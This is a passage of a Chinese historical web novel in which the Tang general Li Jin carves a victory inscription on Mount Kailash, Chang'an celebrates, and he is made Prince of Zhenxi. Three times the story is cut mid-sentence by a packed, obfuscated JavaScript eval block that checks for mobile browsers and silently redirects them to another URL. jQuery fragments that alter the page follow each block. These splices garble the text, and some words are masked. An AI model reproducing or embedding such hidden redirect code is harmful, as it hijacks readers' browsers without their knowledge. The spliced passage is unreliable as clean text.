薛仁贵深深看了李瑾一眼,见他目光清澈,言语恳切,不似作伪,心中稍安,叹道:“大总管能作此想,实乃国家之福,亦是大总管自全之道。老夫多虑了。”
十日后,铭文全部镌刻完成。最后一道工序,是在凿好的阴文字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011872|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
槽中,填入融化的金汁(实为铜铅合金,掺有少量真金,呈金黄色)。炽热的金汁顺着特制的陶槽缓缓注入深深的笔画凹槽,滋滋作响,白气蒸腾。待冷却凝固,暗褐色的岩壁上,便出现了一篇金光闪闪、庄严夺目的巨幅铭文,在高原炽烈的阳光下,熠熠生辉,仿佛有神佛加持,令人不敢逼视。
刻成之日,李瑾率领所有高级将领、军中校尉以上军官,以及吐蕃“摄政”和主要贵族,再次齐聚岩壁之下。三军列阵,甲胄鲜明,旌旗蔽日。没有擂鼓,没有号角,只有高原的风呼啸而过,卷动着旗帜,仿佛天地也在屏息凝视这一刻。
李瑾站在队伍最前方,面对镌刻完成的纪功岩,展开一卷黄绫,朗声诵读铭文全文。他的声音灌注了内力,清晰而沉稳地传遍山野:
“维大唐显庆六年,岁次辛酉,秋九月。皇帝嗣位,绍天明命,恢弘先业;皇后协德,赞襄神武。吐蕃不恭,屡扰西陲,阻绝商路,虐害藩民。朕愍其愚顽,屡颁恩诏,冀其悔悟。而赞普暗昧,奸臣擅权,怙恶不悛,侵我安西,毒我边甿。人神共愤,天地不容。
“乃命使持节、安西大都护、行军大总管李瑾,统鹰扬之师,仗旄钺之威,问罪雪域,吊民伐罪。天策奋勇,将士用命,雷鼓震而玄菟溃,飙风电而鲜卑惊。焚其辎重,若燎原之火;覆其营垒,如摧枯之朽。遂破强蕃于逻些城下,擒其枭帅,降其赞普。妖氛廓清,绝域复通。
“武功既戢,文德攸宣。乃收其图籍,存其社稷,赦其胁从,抚其疮痍。立盟约以固信誓,开市廛以通有无,置烽驿以联声教,兴庠序以化桀骜。使雪域之民,得免兵革;商旅之途,再无豺虎。此非好战乐杀,实乃止戈为武,怀远以德。
“昔窦宪燕然之绩,班固铭其山;耿恭疏勒之忠,范晔书其事。矧兹圣山,地镇西极,昔为蕃酋所诡祀,今归王化以彰休。是用昭告昊天,刻石纪勋,使汉蕃之人,同睹盛烈;令往来之客,共仰皇风。镌兹玄石,垂示无极。敢有犯顺,形此此石!大唐显庆六年九月吉日立。”
诵毕,李瑾率先躬身,向着东方长安的方向,深深一揖。身后数千将士,齐刷刷单膝跪地,甲叶铿锵,山呼海啸:“陛下万岁!皇后千岁!大唐万胜!”
吐蕃贵族们也在“摄政”的带领下,依照唐礼,向着东方和纪功岩躬身行礼,面色复杂,有**,有敬畏,也有一丝对强大秩序的本能顺从。
礼毕,李瑾转过身,目光扫过金光闪闪的岩壁,扫过肃立的将士,扫过绵延的雪山和辽阔的苍穹。高原的阳光刺目,将他的身影拉得很长,投射在刚刚镌刻完成的纪功岩上,与那些金色的文字融为一体。
“自今日起,”李瑾的声音不大,却清晰地传入每个人耳中,“此石立于圣山,便是我大唐将士浴血之功的见证,是陛下、皇后天威远播的象征,是西域重归安宁、商旅畅通的保障!凡我大唐将士,见此石,当思忠勇;凡我大唐子民,见此石,当感荣光;凡四方藩属、往来行旅,见此石,当知顺逆,慕王化!”
“万岁!万岁!万岁!”欢呼声再次响彻云霄,惊起了远处山巅的几只雪鹰,它们盘旋着,发出清唳,仿佛也在为这历史性的一刻作证。
夕阳西下,金色的余晖洒在冈仁波齐的雪峰上,也洒在纪功岩金光闪闪的铭文上,交相辉映,壮丽无比。李瑾最后望了一眼那即将融入暮色与永恒的山岩与铭文,转身走下高台。他的身影在夕阳中显得异常高大,也异常孤独。刻石纪功,是功业的顶峰,也往往是征途的转折。燕然勒功的窦宪,最终身死族灭。而他李瑾,又将走向何方?至少在此刻,在这片被征服的土地上,在圣山与金文的见证下,他和他所代表的大唐,留下了不可磨灭的印记。
山风呼啸,卷动着旌旗,也仿佛在吟诵着那岩壁上的铭文,将其送往更远的地方,送入历史的长河。
第169章 天可汗威名
冈仁波齐的刻石金文还在雪山阳光下熠熠生辉,长安城已然沉浸在沸腾的海洋之中。尽管相距**,尽管高原的捷报需要通过一道道驿传、一个个烽燧接力传递,但当那份用八百里加急、漆封三重、插着代表大捷的红色翎羽的军报匣子,被风尘仆仆、几乎跑死数匹驿马的鸿胪寺信使高举过头顶,嘶喊着“安西大捷!逻些大捷!吐蕃乞降!”冲过长安春明门,驰向皇城时,整个帝国的中枢,乃至整座长安城,都在瞬间被点燃了。
最初是朱雀大街两旁的行人、商贩,他们先是惊愕地看着那不顾一切狂奔的驿骑,听着那嘶哑却无比清晰的喊声,愣了片刻。随即,如同滚油中滴入了冷水,巨大的喧哗与欢呼猛地炸开!
“大捷!是安西大捷!”
“吐蕃……吐蕃被打败了?”
“逻些城!那是吐蕃的国都!国都被咱们攻破了!”
“天佑大唐!陛下万岁!皇后千岁!”
“是李大总管!一定是李大总管打的胜仗!”
消息如同燎原的野火,以惊人的速度席卷了长安一百零八坊。东西两市瞬间沸腾,掌柜伙计也顾不上生意了,纷纷涌到街上打听、议论、欢呼。茶楼酒肆里,说书人立刻现编现讲,将“李总管神兵天降,破吐蕃国都”说得活灵活现,仿佛亲见。平康坊的妓子们也弹起琵琶,唱起了新填的“破阵乐”。太学的学子们激动地涌上街头,高诵着“汉家烟尘在东北,汉将辞家破残贼”之类的诗句,将李瑾比作卫青、霍去病。就连深宅大院里的贵妇闺秀,也忍不住让仆役去打听细节,谈论着那位传说中的年轻统帅。
皇宫,紫宸殿。
当那封沾满尘土、却重逾千钧的军报,经由内侍省、中书省、门下省层层急递,最终被首席内侍高延福用颤抖的双手捧到御前时,李治正因风疾发作,斜靠在软榻上,由武则天亲自侍奉汤药。连日来,西征军的战报虽不时传来,皆是捷音,但毕竟路途遥远,信息滞后,皇帝与皇后心中,始终悬着一块大石。吐蕃毕竟是与大唐缠斗数十年的劲敌,高原苦寒,路途艰险,深入敌境,胜负实在难料。李治的身体,也因此忧虑而时好时坏。
“陛……陛下!皇后殿下!大捷!安西、逻些……大捷啊!”高延福的声音因为激动和一路小跑而尖锐颤抖,扑通一声跪倒在地,高高举起军报匣子。
李治原本有些昏沉的眼神骤然一亮,竟不待宫人,自己挣扎着要坐起。武则天连忙扶住他,眼中也爆发出惊人的神采,急声道:“快!快呈上来!”
玉玺封印被小心地剥开,加急火漆被挑破,厚厚的奏报被取出。首先映入眼帘的,是李瑾那熟悉的、铁画银钩却又沉稳内敛的笔迹,以及那枚鲜红的“安西道行军大总管”印。奏报极长,详述了自兵出陇右以来,大小数十战,尤其重点描述了奇袭要塞、兵临逻些、迫降赞普、收服吐谷浑、打通商路、直至冈仁波齐刻石纪功的全过程。字里行间,既有金戈铁马的磅礴气势,又有掌控全局的冷静叙述,更有对皇帝、皇后英明决策的归美,对将士用命的褒扬,以及对战后安抚、重建的规划。
随着武则天用清晰而略带颤抖的声音,将奏报的核心内容一一读出,李治原本苍白病弱的脸上,迅速涌起潮红,呼吸也变得急促,那是极致的激动所致。他紧紧抓住武则天的衣袖,指甲几乎掐进她的肉里。
“好!好!好!”连说了三个“好”字,李治的声音因为激动而嘶哑,“瑾儿……朕的瑾儿……果真没有辜负朕与皇后的期望!破其国都,降其赞普……此乃不世之功!不世之功啊!”
他猛地咳嗽起来,武则天连忙为他抚背顺气,眼中也含着激动的泪光,但更多是锐利的光芒。她比李治更快地冷静下来,迅速抓住了奏报中的关键信息:“陛下,不止如此。李瑾此战,不仅击破吐蕃,迫其称臣纳贡,更慑服吐谷浑,使其重归我朝,签订城下之盟,开放道路,遣子为质。更在吐蕃圣山冈仁波齐刻石纪功,宣示大唐威德于绝域!自此,吐蕃之患,至少可保二十年太平!河西、陇右,乃至西域,俱得安宁!丝绸之路南北两道,自此贯通无阻!此功……旷古烁今!”
“对!对!”李治喘息稍定,脸上是病态的红晕与兴奋交织,“不止是开疆拓土,更是安边定国,打通商脉!朕……朕要重赏瑾儿!重赏三军将士!传旨!不,立刻召三省宰相、六部尚书、诸卫大将军,即刻入宫!朕要在这紫宸殿,与诸公同阅此捷报,共商封赏、布告天下之事!”
很快,政事堂的宰相们——李勣(虽已年迈,仍挂宰相衔)、许敬宗、上官仪等,以及各部尚书、在京高级将领,纷纷奉诏急趋入宫。当他们步入紫宸殿,看到皇帝虽然病容憔悴,却精神亢奋,皇后侍立一旁,手中拿着一份厚厚的文书,而首席内侍高延福脸上是掩不住的喜色时,心中都猜到了七八分。
等到武则天用她那特有的、清晰而富有穿透力的声音,再次将李瑾奏报的摘要当众宣读完毕,整个紫宸殿陷入了短暂的寂静,随即爆发出巨大的、混杂着惊叹、狂喜、难以置信的喧哗。
“天佑大唐!陛下圣明!皇后英断!”
“李总管真乃卫霍再世!不,其功更甚!”
“吐蕃既平,西顾无忧矣!”
“吐谷浑重归,丝路复通,财货将如流水而至!”
“刻石圣山,宣威绝域,此等功业,足以光耀史册!”
即便是与李瑾或武则天不睦,或对武后干政有所微词的大臣,此刻在如此确凿、如此辉煌的战绩面前,也不得不暂敛心思,随众称贺。此等开疆拓土、靖·国安边的大功,是任何帝王都无法忽视,任何臣子都难以诋毁的。这是实实在在的,足以让李治的“天可汗”称号更加实至名归,让大唐的国威达到前所未有的顶峰的功业!
李勣颤巍巍地出列,老泪纵横(不知是真是假),拜伏于地:“老臣……老臣恭贺陛下,恭贺皇后!此役之后,西陲永固,四夷宾服,陛下‘天可汗’之威名,必将远播四海,万国来朝!此乃社稷之福,万民之幸!老臣恳请陛下,厚赏将士,大赦天下,以彰此不世之功!”
“英国公所言极是!”许敬宗立刻跟上,他此刻红光满面,与有荣焉(毕竟李瑾某种程度上算是“后党”新锐),“李总管以弱冠之龄,统数万之师,涉险远,破强敌,立此擎天保驾之功,实乃国朝第一良将!三军将士,浴血用命,亦当重赏!臣请诏告天下,普天同庆,并遣使告祭天地、宗庙、社稷!”
上官仪等文臣也纷纷附和,一时间,紫宸殿内充满了对皇帝的颂扬、对李瑾及将士的褒奖、对战果的欢庆以及对未来的美好憧憬。李治斜靠在御座上,听着满殿的贺喜,看着这些平时或许各怀心思,此刻却难得统一在胜利喜悦下的重臣,心中那因疾病和权力制衡而时常郁结的块垒,似乎也消散了许多。他感到一种久违的、属于帝王的巨大满足感和掌控感。
“诸卿所言甚合朕意。”李治的声音因激动和虚弱而略显飘忽,但语气却异常坚定,“此战之功,首在李瑾统帅有方,将士用命,亦赖皇后与诸公运筹帷幄,天下百姓输饷支持。敕:中书门下即刻拟旨,以八百里加急发往安西前线,犒赏三军,优恤伤亡。对李瑾及有功将士封赏,着吏部、兵部会同有司,速议章程,务从优厚!”
他顿了顿,看向武则天,武则天微微颔首。李治继续道:“另,吐蕃赞普既已上表乞降,便依李瑾所奏,准其请。封其为‘归义王’,赐国姓‘李’,于逻些设吐蕃都督府,暂由李瑾兼领大都督,总摄其地军政,安抚蕃民,推行王化。吐谷浑慕容诺曷钵,既已悔过归顺,仍袭其‘西平郡王’爵,加封为‘青海国王’,令其谨守藩篱,勿再生事。”
“再有,”李治的精神似乎好了许多,竟坐直了身体,“今西陲大定,四夷畏服,此乃上天眷顾,祖宗庇佑。朕欲于今岁冬至,祭天于南郊,并告成功于太庙。同时,诏令西域已附及未附诸国,令其遣使入朝,共襄盛举。朕要在这长安城,接受万国使节朝贺,让我大唐‘天可汗’之威名,昭示天下!”
“陛下圣明!”群臣山呼。李治这个决定,无疑是要将这场军事胜利的**效应最大化,通过一场盛大的典礼,向全天下展示大唐无可匹敌的国威,巩固他“天可汗”的至高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014393|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地位。这既是对外宣示,也是对内的凝聚。
接下来的日子,整个帝国机器为这场空前的大捷高效运转起来。一道道诏书从长安发出,飞向帝国的每一个角落,宣告胜利,减免赋税,大赦天下(谋反等十恶不赦除外)。朝廷派出庞大的劳军使团,携带巨量金帛、美酒、锦缎,前往安西犒赏将士。阵亡者的抚恤、立功者的封赏,也在紧锣密鼓地议定。
而在长安,更大的变化是气氛。一种前所未有的自信、自豪、昂扬的帝国气象,弥漫在街头巷尾。酒肆茶楼,人们谈论的不再仅仅是家长里短、诗词歌赋,更多的是“李大总管一炮轰塌逻些城墙”、“神策军铁甲阵大破吐蕃铁骑”这样的传奇故事,尽管其中多有夸张附会。胡商们走在街上,腰杆挺得更直,因为他们是“天可汗”庇护下的臣民或客商。就连平素严肃的朝官们,下朝路上相遇,也多了几分意气风发的谈资。
更大的震撼,来自西域。李瑾在冈仁波齐刻石的消息,连同唐军大破吐蕃、迫降赞普、慑服吐谷浑的详细战报,被有意地通过商旅、信使、甚至归附的吐蕃贵族,迅速传遍了西域诸国,传向了更远的河中、波斯乃至大食的边缘。
疏勒、于阗、龟兹、焉耆这安西四镇,最先做出反应。他们的国王或都督,亲自或派遣世子、首席大臣,携带重礼和更为恭顺的国书,前往逻些朝见李瑾,重申忠诚,并恳请大唐皇帝新的册封和赏赐。紧接着,拔汗那、石国、康国、安国、曹国、米国等昭武九姓诸国,甚至更西的波斯萨珊王朝**势力、部分大食边缘总督的使者,也纷纷沿着重新畅通、并且空前安全的丝绸之路,涌向逻些,继而转道前往长安。
这些使者带来的不仅是奇珍异宝、狮子骏马,更是一种姿态——对大唐无可争议的霸权的承认与敬畏。“天可汗”这个曾经因太宗天威而获得,但在高宗初期因内政外交困扰而略显黯淡的称号,如今随着逻些的陷落、吐蕃的臣服、丝路的贯通,再次爆发出耀眼的光芒,并且比以往任何时候都更加实至名归。它不再仅仅是一个尊称,而是代表着对从东北契丹、奚族,到北方突厥余部,再到西域诸国、青藏高原的广阔区域的实质性的宗**和威慑力。
长安的四方馆很快人满为患,各种语言、各种服饰的使者云集,他们焦急地等待着大唐皇帝的接见,学习着繁复的朝觐礼仪,用生硬的汉语背诵着颂圣的辞藻。他们带来的国书中,无一例外地用最谦卑的语气,称颂着“天可汗陛下”的“神武圣德”,为“铲除吐蕃凶逆,复通商路”而“欢欣鼓舞”,并祈求得到“天可汗”的册封和庇护。
当李治在则天门城楼上,接受这些来自**之外、代表着数十个部族和城邦的使者朝贺,听着他们用各种语言高呼“天可汗万岁”时,尽管病体沉重,需要武则天在一旁搀扶,但他的胸中依然充满了前所未有的满足与豪情。这一刻,他仿佛超越了父亲太宗,成为了真正的、普天之下、四夷共尊的“天可汗”。帝国的荣耀,在这一刻,达到了自开国以来的顶峰。
而这一切荣耀的基石,是逻些城下的炮火,是冈仁波齐的金文,是那个远在**之外、年仅二十余岁、却已立下不世奇功的年轻人——李瑾。他的名字,随着捷报,随着颂歌,随着“天可汗”威名的远播,响彻了大唐的朝堂,也传遍了西域的绿洲和草原。功高,已然震主。赏无可赏,封无可封的难题,也如同幽灵般,悄然浮现在了紫宸殿的辉煌灯火之下,萦绕在了一些敏感臣子的心头。只是此刻,这忧虑还被淹没在普天同庆的狂喜海洋中,尚未泛起明显的涟漪。
但武则天,在扶着李治,接受万国使节朝拜,享受着这无上荣光的时刻,眼角的余光扫过下方那些激动、敬畏、谄媚的各国使者面孔,心中却异常清明。她知道,这巅峰的荣耀之下,潜藏着怎样的激流。如何酬赏这泼天之功,如何安置这柄已然锋利无匹、光芒万丈的国之利器,将是对她,对李治,乃至对整个大唐朝廷,最为严峻的考验。封赏的诏书,已在酝酿之中,而那诏书的内容,将决定许多人的命运,也将影响这个帝国未来的走向。
第170章 瑾封异姓王
长安的狂欢与“天可汗”威名的远播,如同盛夏的雷雨,来得猛烈,去得也迅疾。当最初的激动与喧嚣稍稍沉淀,紫宸殿内,关于如何封赏李瑾及西征将士的议题,便如同阴云背后的闷雷,开始在帝国的权力中心隐隐滚动。这不是简单的酬功,而是一场牵扯到朝廷权力格局、君臣关系、未来军政走向的复杂博弈。功劳太大,赏赐的分寸,便成了最微妙也最危险的平衡木。
政事堂内,灯火彻夜通明。以李勣、许敬宗、上官仪为首的三省宰相,会同吏部、兵部、户部、礼部尚书,以及几位德高望重的老将,已经连续争论了数日。案几上堆满了李瑾报功的详细奏章、兵部核验的战果文书、吏部拟定的赏格草案,以及无数相关官员、将领的陈情与建议。
争议的焦点,毫无悬念地集中在李瑾一人身上。其余将领,如薛仁贵、王方翼、郭待封、黑齿常之等,虽有战功,但按唐制,升迁、加爵、赐物皆有成例可循,争议不大。唯独李瑾,以弱冠之龄,行大总管之权,统御诸军,立下灭国(迫降)、拓土、安边、通商的不世之功,其赏赐,已无前例可循。
“按制,开国元勋、佐命功臣,或有封王先例。然国朝自贞观以来,除宗室及个别追封者外,异姓不王,已成铁律。”吏部尚书,一位出身关陇老牌门阀的老臣,捻着胡须,语气谨慎,“李瑾之功,固然彪炳史册,然若破例封王,恐非国家之福。一则,恐开跋扈之端,二则,恐使将士攀比,三则……赏无可赏,反生嫌隙。”
他的话,代表了相当一部分守旧臣僚,尤其是那些对李瑾火箭般蹿升、对武后影响力扩大、对寒门势力崛起心存忧虑的世族官员的心声。李瑾的功劳太大,若再封王,其权势将膨胀到何种地步?他又是武后一手提拔,将来若与后宫联手,何人可制?
“此言差矣!”许敬宗立刻反驳,他如今是“后党”在朝中的重要支柱,深知李瑾封赏之事,关乎武后权威,也关乎他们这一派系的未来声势,“制度为人所设,亦当因时而变。昔日卫青、霍去病,以军功封侯拜将,名垂青史,何曾因年少而减其赏?李瑾之功,破吐蕃,复安西,通丝路,解圣忧,安社稷,岂是寻常开疆拓土可比?此乃定鼎之功,擎天之勋!若拘泥旧制,不酬殊功,岂不令天下将士寒心,令四夷耻笑我大唐刻薄寡恩,赏罚不明?”
他转向御座方向,拱手道:“陛下,皇后殿下,老臣以为,功大不赏,反为大患。李瑾年未而立,已立此不世功业,其才、其能、其忠,日月可鉴。当酬以殊爵,以安其心,以励将士,以彰陛下赏罚之公,皇天后土·共鉴之!”
“许相所言,亦不无道理。”李勣作为军方元老,又是宰相,他的态度至关重要。他缓缓开口,声音苍老却带着不容置疑的分量,“然,异姓封王,事关国体,不可不慎。老臣思之,李瑾之功,旷古烁今,不重赏无以酬其劳,不显爵无以彰其勋。然则,所封之王,当有斟酌。”
他顿了顿,浑浊的老眼中闪过一丝精光:“昔汉高帝封韩信为齐王,后又有徙封楚王,终不免猜忌。前车之鉴,不可不察。老臣愚见,可效卫霍故事,封以最高爵,授以最高阶,赐以最厚赏,使其荣宠至极。然,实权之职,或可稍作调整,既显恩遇,又合体制,使功臣得以善终,使朝廷得以安泰。”
李勣的话说得含蓄,但在场都是人精,如何听不出弦外之音?这是要“高爵厚禄,释其兵权”的阳谋。给予李瑾个人无与伦比的荣耀和富贵,但收回他安西大都护、行军大总管等实权职务,尤其要把他从吐蕃、安西那片刚刚打下的、影响力无远弗届的土地上调离。
上官仪眉头微皱,他素来看不惯许敬宗,对李瑾的骤贵也有些疑虑,但更不愿看到因赏罚不当引发动荡。他出言道:“英国公老成谋国之言,实为两全之策。李瑾之功,封公封侯,皆不足以酬。或可……特设‘郡王’之爵?然,我朝郡王,向为宗室专享。若破例赐予异姓,其号、其地、其礼制,皆需慎之又慎,务使其荣宠不逾制,权势不僭越。”
“郡王?”有人低呼。这已经是仅次于亲王的爵位,在非宗室成员中,几乎是顶天的荣耀。唐朝开国以来,异姓功臣最高爵位通常是国公,死后或有追赠郡王,生前实封者凤**麟角。
争论持续着,从爵位高低、封号拟定,到食邑多寡、赏赐清单,再到实职安排、是否回朝、何时回朝,每一个细节都牵扯着无数心思和利益考量。支持厚赏者,多与“后党”或寒门新贵关联,或纯粹被功业震撼;主张抑制者,则多出于对权臣坐大的忧虑,或固有的门阀偏见。双方引经据典,争执不下。
最终,还是御座上的皇帝和皇后,做出了决断。
李治的身体时好时坏,但对此事的关注却超乎寻常。他召见了李勣、许敬宗、上官仪等核心重臣,在只有武则天陪同的偏殿内,进行了长时间的密议。
“李瑾之功,确系亘古罕有。”李治斜靠在榻上,脸色在宫灯下显得有些苍白,但眼神锐利,“朕非刻薄寡恩之主,如此大功,若不酬以殊赏,天下人将谓朕何?后世史笔,又将如何书写?”
他咳嗽了几声,武则天轻轻为他抚背,接口道:“陛下所言极是。赏罚乃国之纲纪。李瑾之功,不赏不足以励忠良,不足以定四方。然,英国公所虑,亦是为国为君。李瑾年轻,骤登极位,手握重兵,久处边陲,确需有所措置,以全君臣始终之义。”
她的话,既肯定了重赏的必要,也点明了权力需要制衡,给了双方台阶。
李治点点头:“皇后深知朕心。李瑾是忠臣,更是能臣,是朕与皇后的股肱。朕信他,但制度不可废,规矩不可乱。朕意已决,当封李瑾以王爵,以酬其不世之功。然,具体如何封,如何赏,如何用,诸卿可再议细则,务求妥当。”
皇帝的金口一开,封王之事便成定局。接下来的争论,便集中在细节上。
数日后,经过反复磋商、妥协、权衡,最终的封赏方案,终于在中书门下达成一致,形成诏书,呈报御前用玺。
------
大唐皇帝制曰:
朕闻褒德旌功,帝王之常典;兴灭继绝,王者之宏图。咨尔开府仪同三司、检校安西大都护、持节陇右道行军大总管、上柱国、梁国公李瑾,天资英毅,神授机钤。少负奇才,长通军略。昔吐蕃不庭,屡扰西陲,毒流藩服,阻绝商路。朕愍兹边甿,乃命专征。
尔秉旄仗钺,统御熊罴,涉流沙而扬威,逾雪岭而振旅。奇谋叠出,算无遗策;骁勇争先,战必摧锋。遂能犁其庭穴,系其酋长,复通绝域,大彰国威。功高卫霍,业冠耿班。此乃上天眷佑,宗社垂休,亦尔忠勤夙著,智勇兼资之效也。
昔汉封博陆,魏宠征西,皆以殊勋,膺兹异数。尔功迈古人,赏宜从厚。是用畴咨庶尹,详考彝章,禀仪太常,考祥龟筮。今依故事,特进尔为镇西郡王,食邑八千户,实封三千五百户。赐金书铁券,恕十死。授开府仪同三司,使持节、大都督陇右诸军事、兼领安西大都护(注:此为荣誉衔,实际政务由副大都护代理),加太子太师。赏绢十万匹,钱五十万贯,奴婢三百人,庄宅各十所,并西京甲第一区。父祖追赠有差,母妻封诰从厚。
於戏!位极人臣,爵崇王爵。尔其抵若休命,永保令名。无恃功而骄,无位高而侈。克勤克慎,以辅朕躬。钦哉!
制书如右,请奉制付外施行,谨言。
显庆六年十月日
------
诏书一出,朝野震动。
“镇西郡王!”这个封号,本身就意味深长。“镇西”,彰显其平定西陲的不世之功;“郡王”,则是非宗室臣子所能达到的爵位巅峰。虽然只是郡王,非亲王,但已是太宗朝以后,异姓功臣生前所获的最高爵位。食邑八千户,实封三千五百户,更是远超寻常国公,富可敌国。金书铁券,恕十死,几乎是免死金牌的顶配。开府仪同三司,是最高文散官;加太子太师,是东宫三师之一,荣衔至极。虽然保留了“使持节、大都督陇右诸军事、兼领安西大都护”的头衔,但明眼人都知道,这更多是荣誉性的,李瑾必然会被召回朝廷,实际职务必将调整。那巨额的财物、奴婢、宅邸赏赐,更是令人咋舌。
这份封赏,厚重得无以复加,几乎将人臣所能享有的荣宠推到了极致。它满足了酬功的需要,彰显了皇帝皇后的恩宠,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014394|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暂时堵住了那些认为赏薄会寒天下人心的议论。
然而,在这极致荣宠的背后,是**的精妙算计。极高的爵位和虚衔,将李瑾高高架起,享受尊荣,却也一定程度上远离了实权核心——安西和陇右的兵权、政权,必然要逐步交出。太子太师的加衔,更是将其与东宫、与未来的皇帝绑定,既是恩遇,也是一种无形的约束和定位。巨大的财富赏赐,既是酬劳,也未尝不是一种“富养”,消磨其志。
诏书以八百里加急,连同犒赏三军的物资、对薛仁贵(晋爵河东县公,实封五百户,授左骁卫大将军)、王方翼(晋爵琅琊郡公,实封四百户,授安西副大都护,实际主持安西军政)、郭待封、黑齿常之等一众有功将领的封赏诏书一起,发往遥远的逻些城。
当钦差队伍带着浩荡的赏赐和那卷沉甸甸的诏书,历经长途跋涉,终于抵达逻些时,已是深冬。高原寒风凛冽,但逻些城内外却因钦差的到来和即将宣布的封赏而热火朝天。
盛大的宣旨仪式在逻些原吐蕃王宫的正殿前举行。李瑾率西征军所有校尉以上军官,以及吐蕃新任“摄政”、吐谷浑使者、西域诸国在逻些的代表,跪迎天使。
当钦差展开黄绫诏书,用庄重而高昂的声音,将那一连串令人眩晕的封号、赏赐宣读出来时,整个广场先是一片死寂,随即爆发出巨大的、混杂着惊叹、羡慕、狂喜的声浪。唐军将士们与有荣焉,他们的统帅获此殊荣,意味着他们的功绩也得到了最高认可。吐蕃、吐谷浑、西域诸国的代表们,则是面色各异,但眼中无不充满了深深的敬畏。郡王!实封三千五百户!恕十死!这等恩宠,简直闻所未闻!这位年轻的唐军统帅,在大唐皇帝心中的地位,以及其本身的权势,已然达到了一个令人难以想象的高度。
李瑾跪在众人之前,面色平静,甚至带着一丝恰如其分的激动与感恩。他深深俯首,以额触地,声音清晰而沉稳:“臣李瑾,诚惶诚恐,叩谢天恩!陛下、皇后殿下隆恩浩荡,赏过于功,臣虽肝脑涂地,无以为报!唯当鞠躬尽瘁,死而后已,以报陛下、皇后殿下知遇之恩于万一!”
他的表态,恭顺而恳切,没有一丝一毫的骄矜之色。这让暗中观察的钦差,以及一些心思各异的将领,都暗暗松了口气。
仪式结束后,盛大的庆功宴席在略显简陋但经过布置的原吐蕃王宫内举行。美酒如流水,烤全羊的香气弥漫,欢声笑语几乎要掀翻屋顶。李瑾成了绝对的中心,无数人向他敬酒祝贺。薛仁贵端着酒杯走来,老将军眼中有些复杂,但更多的是欣慰,低声道:“郡王殿下,位极人臣,恩宠无双。然,月满则亏,水满则溢。望殿下常怀谦抑,善始克终。”
李瑾举杯,与薛仁贵轻轻一碰,低声道:“薛帅金玉良言,瑾铭记五内。雷霆雨露,莫非天恩。瑾,唯知忠君报国而已。”
是夜,逻些城灯火通明,彻夜欢庆。而在喧嚣渐息的郡王临时行辕内,李瑾独坐灯下,面前是那卷明黄的封王诏书,旁边是堆积如山的赏赐礼单。跳跃的烛火映照着他年轻而平静的面庞。郡王……镇西郡王……太子太师……开府仪同三司……这些耀眼至极的头衔,如同黄金打造的枷锁,既带来无上荣光,也带来无形的重压和无数双审视、忌惮甚至嫉恨的眼睛。
他知道,这份厚重的封赏背后,是皇帝和朝廷复杂难言的心思。功高震主,古来有之。赏无可赏之时,往往便是祸患滋生之始。今日的极致恩宠,未必不是明日的隐患之源。
“是时候,该回去了。”李瑾轻轻抚过诏书上“镇西郡王”那几个鎏金大字,眼中闪过一丝深邃的光芒。逻些的功业已然铸就,冈仁波齐的金文已然刻下。接下来,长安,那座更为复杂、更为微妙的权力之城,才是新的战场。他必须回去,亲自去面对那封赏背后的试探,去化解那即将到来的猜忌,在帝国的中心,为自己,也为武后,也为这新生的、充满希望又暗藏危机的局面,寻找新的平衡与出路。
窗外,高原的寒风呼啸而过,卷起地上的雪沫。郡王的旗帜在夜风中猎猎作响,而那面旗帜的主人,已经将目光投向了遥远的东方,那座名为长安的、辉煌而危险的城池。
第171章 凯歌入长安
显庆七年的春天,来得似乎比往年更早,也更喧腾。渭水刚刚解冻,灞柳才抽出嫩黄的新芽,长安城却已提前陷入了沸腾的海洋。因为,远征吐蕃、立下不世之功的镇西郡王、安西大都护、行军大总管李瑾,即将率领他的得胜之师,凯旋还朝。
朝廷早在月前就已颁下明诏,以最高规格迎接王师凯旋。沿途州县,务必洒扫道路,供应粮秣。长安城更是提前半月便开始准备。朱雀大街重新平整,泼洒清水,黄土垫道。自明德门至皇城朱雀门,十里长街两侧,搭起了连绵的彩棚、看台。五城兵马司、金吾卫全员出动,维持秩序,清理街道。教坊司的乐工日夜排练新制的《定吐蕃破阵乐》。光禄寺、太常寺忙得人仰马翻,筹备凯旋献俘、太庙告捷、宫宴犒劳等一应繁琐礼仪。
